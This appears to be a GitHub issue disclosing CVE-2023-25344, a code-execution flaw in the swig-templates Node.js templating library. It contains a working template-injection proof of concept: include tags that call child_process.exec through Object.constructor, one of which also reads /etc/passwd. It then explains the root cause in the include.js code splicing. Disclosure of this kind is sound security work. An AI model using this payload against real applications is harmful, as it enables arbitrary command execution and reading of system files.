Headline
CVE-2023-25344: Security Issue: code execution vulnerability during template rendering · Issue #89 · node-swig/swig-templates
An issue was discovered in swig-templates thru 2.0.4 and swig thru 1.4.2, allows attackers to execute arbitrary code via crafted Object.prototype anonymous function.
official doc
- https://node-swig.github.io/swig-templates/docs/tags/#include
poc
tpl.html
You need to ensure that the 1.html file exists
{% include "./1.html"+Object.constructor("global.process.mainModule.require('child_process').exec('open -a Calculator.app')")() %}
or just use /etc/passwd
{% include "/etc/passwd"+Object.constructor("global.process.mainModule.require('child_process').exec('open -a Calculator.app')")() %}
run.js
var swig = require(‘swig-templates’); var output = swig.renderFile(‘/Users/bytedance/Desktop/swig/tpl.html’); console.log(output);
the code above will execute open -a Calculator.app command
gif: http://cdn2.pic.y1ng.vip/uPic/2023/02/01/m1-134548_iShot_2023-02-01_13.45.05.gif
Reason
include.js will do some code splicing
return (
(ignore ? ' try {\n’ : ‘’) +
'_output += _swig.compileFile(' +
file +
‘, {’ +
‘resolveFrom: "’ +
parentFile +
‘"’ +
'})(' +
(onlyCtx && w ? w : !w ? ‘_ctx’ : '_utils.extend({}, _ctx, ' + w + ')') +
');\n’ +
(ignore ? ‘} catch (e) {}\n’ : ‘’)
)
}
the return value will be added to var out
o = token.compile(
exports.compile,
token.args ? token.args.slice(0) : [],
token.content ? token.content.slice(0) : [],
parents,
options,
blockName
)
out += o || ‘’
finally the value of out:
_output += _swig.compileFile("/etc/passwd", {resolveFrom: "/Users/bytedance/Desktop/swig/tpl.html"})(_utils.extend({}, _ctx, + (((((typeof _ctx.Object !== “undefined” && _ctx.Object !== null && _ctx.Object.constructor !== undefined && _ctx.Object.constructor !== null) ? ((typeof _ctx.Object !== “undefined” && _ctx.Object !== null && _ctx.Object.constructor !== undefined && _ctx.Object.constructor !== null) ? _ctx.Object.constructor : “”) : ((typeof Object !== “undefined” && Object !== null && Object.constructor !== undefined && Object.constructor !== null) ? Object.constructor : “”)) !== null ? ((typeof _ctx.Object !== “undefined” && _ctx.Object !== null && _ctx.Object.constructor !== undefined && _ctx.Object.constructor !== null) ? ((typeof _ctx.Object !== “undefined” && _ctx.Object !== null && _ctx.Object.constructor !== undefined && _ctx.Object.constructor !== null) ? _ctx.Object.constructor : “”) : ((typeof Object !== “undefined” && Object !== null && Object.constructor !== undefined && Object.constructor !== null) ? Object.constructor : “”)) : “” ) || _fn).call((((typeof _ctx.Object !== “undefined” && _ctx.Object !== null) ? ((typeof _ctx.Object !== “undefined” && _ctx.Object !== null) ? _ctx.Object : “”) : ((typeof Object !== “undefined” && Object !== null) ? Object : “”)) !== null ? ((typeof _ctx.Object !== “undefined” && _ctx.Object !== null) ? ((typeof _ctx.Object !== “undefined” && _ctx.Object !== null) ? _ctx.Object : “”) : ((typeof Object !== “undefined” && Object !== null) ? Object : “”)) : “” ), "global.process.mainModule.require(‘child_process’).exec(‘open -a Calculator.app’)") || _fn)()));
the out will be used to make an anonymous function, and then call the function
if you debug in detail, you will find that it will call the following anonymous funciton:
(function anonymous( ) { global.process.mainModule.require(‘child_process’).exec(‘open -a Calculator.app’) })